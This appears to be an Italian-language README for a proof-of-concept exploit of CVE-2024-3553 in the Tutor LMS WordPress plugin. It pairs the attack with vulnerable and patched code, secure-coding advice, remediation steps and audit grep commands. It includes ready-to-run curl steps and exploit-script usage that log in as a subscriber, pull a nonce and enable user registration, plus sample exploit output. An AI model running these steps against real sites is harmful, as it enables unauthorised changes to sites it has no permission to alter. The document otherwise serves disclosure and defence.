
CVE-2024-3553: Tutor LMS <= 2.6.2 - Vulnerabilità di autorizzazione mancante che consente a utenti autenticati di abilitare la registrazione degli utenti
Il plugin Tutor LMS – soluzione eLearning e corsi online per WordPress è vulnerabile a modifiche non autorizzate dei dati a causa di un controllo di capacità mancante sulla funzione hide_notices() in tutte le versioni fino alla 2.6.2 inclusa. Ciò consente a attaccanti autenticati (inclusi utenti con privilegi bassi come gli abbonati) di abilitare la registrazione utente su siti in cui potrebbe essere stata disabilitata dagli amministratori.
È disponibile un exploit Python completo: exploit-cve-2024-3553-v2.py
# Full automated exploitation
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# Check registration status only
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
Prerequisiti:
Passo 1: Accedi come utente con privilegi bassi
# Login as subscriber or any authenticated user
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
Passo 2: Estrai nonce dall'area di amministrazione
# Any authenticated user can access /wp-admin/ (even subscribers)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
Passo 3: Esegui l'exploit
# Send request to enable user registration
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
Passo 4: Verifica il successo
# Check if registration is now enabled
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"
# As any authenticated user, simply visit:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
Exploit CVE-2024-3553 - Autorizzazione mancante in Tutor LMS
Target: https://target.com
======================================================================
[*] Controllo dello stato attuale della registrazione...
[+] La registrazione è attualmente DISABILITATA
[*] Tentativo di accesso come: subscriber
[+] Accesso riuscito come: subscriber
[*] Passo 2: Estrazione del nonce dall'area di amministrazione...
[+] Nonce trovato: abc123def456
[*] Passo 3: Esecuzione dell'exploit per abilitare la registrazione utente...
[*] Target: https://target.com
[*] Nonce utilizzato: abc123def456
[*] URL exploit: https://target.com/wp-admin/index.php
[*] Parametri: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Stato risposta: 200
[+] Richiesta exploit inviata con successo!
[*] Passo 4: Verifica del successo dello sfruttamento...
[+] La registrazione è attualmente ABILITATA
======================================================================
[!] SFRUTTAMENTO RIUSCITO!
[!] La registrazione utente è ora ABILITATA
[!]
[!] Impatto: Un attaccante con un account a bassi privilegi (subscriber)
[!] è riuscito ad abilitare la registrazione utente su un sito dove era
[!] disabilitata. Ciò potrebbe consentire la creazione di account aggiuntivi,
[!] portando potenzialmente a spam o accesso non autorizzato.
======================================================================
File: /classes/User.php (righe ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// NO CAPABILITY CHECK - Any authenticated user can execute this!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Punti chiave della vulnerabilità:
is_admin() verifica solo che la richiesta sia a una pagina di amministrazione, NON che l'utente sia un amministratore/wp-admin/ (anche gli abbonati)current_user_can('manage_options')users_can_registerFile: /classes/User.php (Versione patchata)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// SECURITY FIX: Added capability check
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Now properly protected
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
La patch aggiunge current_user_can('manage_options') per verificare che l'utente abbia privilegi di amministratore prima di consentire l'aggiornamento dell'opzione.
Questa vulnerabilità dimostra una comprensione errata critica delle funzioni di autorizzazione di WordPress:
SBAGLIATO ❌:
if ( is_admin() ) {
// Pensando che significhi "l'utente è un amministratore"
update_option( 'sensitive_option', $value );
}
CORRETTO ✅:
if ( current_user_can( 'manage_options' ) ) {
// Verifica effettivamente se l'utente ha capacità di amministratore
update_option( 'sensitive_option', $value );
}
| Funzione | Cosa controlla effettivamente | Utilizzo per la sicurezza |
|---|---|---|
is_admin() | Se l'URL corrente è in /wp-admin/ | ❌ NON per autorizzazione |
current_user_can() | Se l'utente ha una capacità specifica | ✅ Autorizzazione corretta |
wp_verify_nonce() | Se la richiesta è intenzionale (protezione CSRF) | ✅ Ma NON sufficiente da sola |
La sicurezza di WordPress richiede molteplici livelli:
La mancanza di QUALSIASI di questi livelli può portare a vulnerabilità.
Per amministratori del sito:
Aggiornare immediatamente a Tutor LMS versione 2.7.0 o successiva:
# Via WP-CLI
wp plugin update tutor --version=2.7.0
# Via WordPress Admin
Dashboard → Plugin → Trova "Tutor LMS" → Clicca "Aggiorna ora"
Controlla modifiche recenti:
# Verifica se l'impostazione di registrazione è stata modificata di recente
wp option get users_can_register
# Esamina le registrazioni utente recenti
wp user list --orderby=registered --order=DESC --number=20
is_admin() per l'autorizzazionecurrent_user_can() per i controlli di capacitàQuando si esaminano plugin WordPress per problemi di autorizzazione:
# 1. Cerca is_admin() senza controlli di capacità
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. Cerca aggiornamenti diretti delle opzioni
grep -r "update_option\|add_option" .
# 3. Trova gestori AJAX senza controlli di capacità
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - Questo fileexploit-cve-2024-3553.py - Exploit Python baseexploit-cve-2024-3553-v2.py - Exploit Python migliorato con documentazione dettagliatamanual-exploit-cve-2024-3553.sh - Script di sfruttamento manualetest-cve-2024-3553-direct.sh - Script di verifica direttaScoperto: 2024-04-15 Divulgato: 2024-05-20 Patchato: 2024-05-21 (v2.7.0) Data del test: 2025-12-26 Classificazione: Validazione riuscita della vulnerabilità